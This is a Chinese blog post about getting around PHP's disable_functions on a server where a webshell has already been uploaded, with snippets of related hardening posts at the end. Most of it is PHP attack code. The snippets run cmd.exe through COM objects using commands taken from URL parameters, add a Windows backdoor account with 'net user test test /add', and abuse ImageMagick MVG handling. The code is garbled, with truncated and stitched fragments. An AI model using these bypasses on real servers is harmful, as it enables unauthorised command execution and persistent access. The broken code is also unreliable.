PHP函式禁用繞過

2022-07-15 07:15:12 字數 1392 閱讀 4308

在滲透測試過程中可能經常會遇到上傳webshell後,由於php.ini配置禁用了一些如exec(),shell_exec(),system()等執行系統命令的函式,導致無法執行系統命令,就此問題給出幾種繞過方法。

話不多說,直接貼**:

···math

exec("cmd.exe /c ".$_get['c']."");

$stdout = $exec->stdout();

$stroutput = $stdout->readall();

echo $stroutput;

?>

/tmp/output.txt\n";

file_put_contents($cmd, $c);

chmod($cmd, 0777);

$cd="/tmp/output.txt";

print_r(file_get_contents($cd));

switch (pcntl_fork())

······

shellexecute("net"," user test test /add");

//$exec=$phpwsh->shellexecute("cmd","/c net user test test /add");

?>

······

open("c:\\windows\\system32\\cmd.exe");

?>

······

namespace("c:\windows\system32")->items()->item("cmd.exe")->invokeverb();

?>

······

namespace("c:\windows\system32")->items()->item("cmd.exe")->invokeverbex();

?>

······

exec('cmd.exe /c '.$command); //呼叫物件方法來執行命令

$stdout = $exec->stdout();

$stroutput = $stdout->readall();

echo $stroutput

?>

······

1.txt");

?>

······

readimage('kkkk.mvg');

$thumb->writeimage('kkkk.png');

$thumb->clear();

$thumb->destroy();

unlink("kkkk.mvg");

unlink("kkkk.png");

?>

······

readimageblob($e);

?>

php安全設定 禁用危險函式

在 php.ini 中找到 disable functions 這一行,在其後面新增需要禁止的危險函式名,以英文逗號分隔 disable functions phpinfo,set time limit,system,exec,shell exec,passthru,proc open,proc c...

PHP危險函式禁用深入詳解

error log 功能描述 將錯誤資訊傳送到指定位置 檔案 安全備註 在某些版本的 php 中,可使用 error log 繞過 php safe mode,執行任意命令。危險等級 低 phpinfo 功能描述 輸出 php 環境資訊以及相關的模組 web 環境等資訊。危險等級 中 scandir...

php禁用一些危險函式

開啟php.ini檔案,查詢到 disable functions 修改為 disable functions pathinfo,eval,passthru,exec,assert,system,chroot,chgrp,chown,shell exec,proc open,ini restore,...